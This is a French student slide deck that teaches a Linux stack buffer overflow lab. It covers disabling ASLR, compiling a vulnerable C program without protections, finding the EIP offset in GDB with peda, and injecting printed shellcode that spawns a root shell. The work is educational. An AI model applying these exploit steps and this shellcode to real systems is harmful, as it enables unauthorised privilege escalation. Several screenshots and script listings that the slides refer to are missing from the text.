LINUX BUFFER
OVERFLOWS
MEMBRES DU GROUPE
• MAME DIAYLA CISSE
• FAMARA IBRAHIMA GUEYE
• AWA LO
PLAN
I. Qu’est ce que le Buffer Overflows?
II. Registre
III. Conditions préalables
IV. Configuration
2
QU’EST CE QUE LE BUFFER OVERFLOWS?
3
QU’EST CE QUE LE BUFFER OVERFLOWS?
Les tampons sont une région du stockage de la mémoire physique utilisée pour
stocker temporairement des données pendant qu’elles sont déplacées d’un
endroit à un autre.
Les tampons ont une longueur fixe et les programmes s’attendent généralement
à ce que l’entrée soit comprise dans la taille de la mémoire tampon. Mais, si le
développeur du logiciel n’a pas implémenté la validation appropriée de l’entrée,
cette entrée volumineuse sera copiée dans la mémoire tampon sous-
dimensionnée, ce qui conduira à une condition appelée Buffer Overflow.
4
REGISTRE
5
REGISTRE
• Un registre est un petit espace mémoire au sein du processeur, destiné à
contenir temporairement de petites quantités de données. La taille d’un
registre est très petite et peut aller de 8 bits, 64 bits ou même plus. Les
registres stockeront des données, y compris des adresses mémoire, des
instructions ou simplement des données. Considérez les registres comme des
caches, mais plus petits et plus rapides qu’un cache.
6
REGISTRE
• Il existe différents types de registres, à savoir les registres généraux, les
registres de contrôle, les registres de segments, les registres de données, les
registres de pointeurs et les registres d’index. Mais nous ne parlerons pas de
tous les types de registres mentionnés. Nous ne parlerons que de certains
registres liés aux opérations de pile comme ESP, EBP et EIP. Expliquons
brièvement ce que sont certains registres et leurs fonctions.
7
REGISTRE
• ESP: ExtendedStackPointer- Stocke l’adresse mémoire de la limite supérieure
actuelle (élément le plus haut) de la pile
• EBP: ExtendedBasePointer- Stocke l’adresse mémoire de la base (début) de la
trame de pile actuelle
• EIP: ExtendedInstructionPointer- Stocke l’adresse mémoire de l’instruction
suivante à exécuter
• Nous expliquerons leurs fonctions dans la section de la pile.
8
CONDITIONS PRÉALABLES
• Une machine Linux Kali x86 avec ASLR désactivé (machines virtuelles est préférable)
• Comprendre les notions d’adresse et de pointeur
• Programme C vulnérable
• Python 2.7(inclus dans Kali)
• GNU project Debugger (GDB) pour le débogage (Inclus dans Kali)
• GNU Compiler Collection (GCC) pour compiler des fichiers C (inclus dans Kali)
• Python Exploit Development Assistance (peda) pour GDB
9
CONFIGURATION
➢ Désactivation d’ASLRsurKaliLinux :
• Sur le terminal, entrez la commande suivante pour vérifier si l’état de l’ASLR:
cat /proc/sys/kernel/randomize_va_space
• Utilisez la commande suivante pour désactiver ASLR et vérifiez la modification en utilisant
à nouveau la commande ci-dessus.
echo 0 > /proc/sys/kernel/randomize_va_space
10
CONFIGURATION
➢ Python Exploit Development Assistance (peda) pour GDB
GDB est un débogueur de ligne de commande gratuit et open source pour les
exécutables de rétro-ingénierie.
PEDA est une extension du GDB normal.
• Sur le terminal, entrez la commande pour colorer peda:
git clone https://github.com/longld/peda.git ~/peda echo
"source ~/peda/peda.py" >> ~/.gdbinit
11
CONFIGURATION
➢ Compilation d’un script C vulnérable avec les indicateurs -NO-PIE et
EXECSTACK
PIE assure l’application correcte de la protection ASLR. Si PIE n’est pas configuré
lors de la compilation d’une application, l’ASLR complet ne peut pas être atteint
et peut entraîner des problèmes de sécurité.
nous avons désactivé ASLR et nous allons créer un exécutable sans
fonctionnalité PIE. Nous pouvons désactiver PIE en utilisant l’indicateur no-pie
lors de la compilation.
12
CONFIGURATION
• Créer un fichier bof.c
13
CONFIGURATION
• Dans votre machine Kali et entrez la commande suivante pour compiler ce
code dans un fichier ELF (Executable and Linkable Format)
gcc -g -z execstack -no-pie -o bof bof.c
Si la compilation a réussi sans aucune erreur, il y aura un fichier elf nommé bof
dans le répertoire courant.
Nous pouvons exécuter ce programme en utilisant:
./bof
14
CONFIGURATION
➢ Début de l’exploitation
• Créez une chaîne de 120 caractères en utilisant python one liner comme ci-
dessous. Entrez la commande dans le terminal.
python -c 'print "A"*120’
• Maintenant, copiez les 120 A et passez-les comme argument à notre exécutable
bof.
./bof AAAAAAA…
15
CONFIGURATION
➢ Localisation du décalage EIP
• Nous devons créer un script python simple avant d’entrer dans gdb, afin qu’il
soit plus facile de modifier les arguments. Enregistrez la ligne ci-dessous sous
arg.py.
print ('A' * 120 )
• Maintenant, nous pouvons entrer dans gdb pour trouver le décalage exact de
l’EIP. Entrez la commande suivante pour démarrer gdb.
gdb -q ./bof
16
CONFIGURATION
Avec cette commande ci-dessus, vous devriez voir une sortie comme ci-dessous.
17
CONFIGURATION
• Nous pouvons vérifier qu’un binaire est supprimé ou non supprimé en utilisant
la commande file dans le terminal.
file bof
18
CONFIGURATION
• Entrez la commande dans gdb pour répertorier le code source du fichier
list
19
CONFIGURATION
• Mettons en place un point d’arrêt après la fonction strcpy, car c’est là que le
débordement de tampon se produit. Nous pouvons voir que, strcpy est à la
ligne numéro 9, alors installons un point d’arrêt à la ligne 10, afin que nous
puissions observer le contenu du registre lorsque le crash se produit.
break 10
• Maintenant, nous pouvons exécuter le binaire bof à l’intérieur de la gdb et voir
ce qui arrive aux registres lorsque le crash se produit.
run $(python arg.py)
20
CONFIGURATION
Après ce commentaire, gdb va arrêter le programme au point d’arrêt que nous
avons défini et afficher l’état des registres.
La sortie de la commande GDB après crash est donnée ci-dessous.
21
CONFIGURATION
• Entrez c pour continuer l’exécution et observez la sortie maintenant. La sortie
après le crash est donnée ci-dessous.
22
CONFIGURATION
• vérifiez les registres.
info registers
• localiser le décalage exact de l’EIP, afin que nous puissions positionner une adresse mémoire pour
remplacer l’EIP.
pattern create 120
• Copiez le modèle, ouvrez arg.py, ajoutez la ligne précédente et collez-la dans notre script arg.py;
pour que notre script ressemble à ceci ci-dessous.
23
CONFIGURATION
• Maintenant, exécutons à nouveau le bof dans gdb avec la même commande
qu’auparavant.
24
CONFIGURATION
• Utiliser la commande de recherche de modèle dans gdb pour rechercher le
décalage.
pattern search AA8A
Gdb a trouvé le décalage EIP 25
CONFIGURATION
➢ Contrôle de l’EIP
• Modifiez le script arg.py comme indiqué ci-dessous et exécutez bof dans gdb.
26
CONFIGURATION
➢ Localisation de l’espace pour Shellcode
• L’étape suivante consiste à trouver de l’espace pour stocker notre shellcode.
Pour cela, regardez le contenu du registre donné dans la sortie ci-dessus.
Examinons de plus près le contenu de l’ESP en utilisant la commande suivante.
x/500x $esp
Qui affichera 500 valeurs hexadécimales de l’ESP.
27
CONFIGURATION
• Modifiez arg.py comme indiqué ci-dessous.
28
CONFIGURATION
• Dans gdb, entrez
break *0xbffff414
• exécutez le programme, Lorsque le point d’arrêt est atteint, vérifiez le registre
EIP.
29
CONFIGURATION
➢ Obtention de Shellcode
• Nous allons utiliser le shellcode obtenu sur le site Web de Samclass pour
générer un shell Dash.
shellcode = ( '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' )
30
CONFIGURATION
• Incorporons ce shellcode dans notre script asp.py, afin que notre script
ressemble à celui indiqué ci-dessous.
31
CONFIGURATION
• Maintenant, exécutons ceci dans gdb.
Après l’exécution, nous pouvons voir que le symbole affiche # indiquant un shell
racine.
32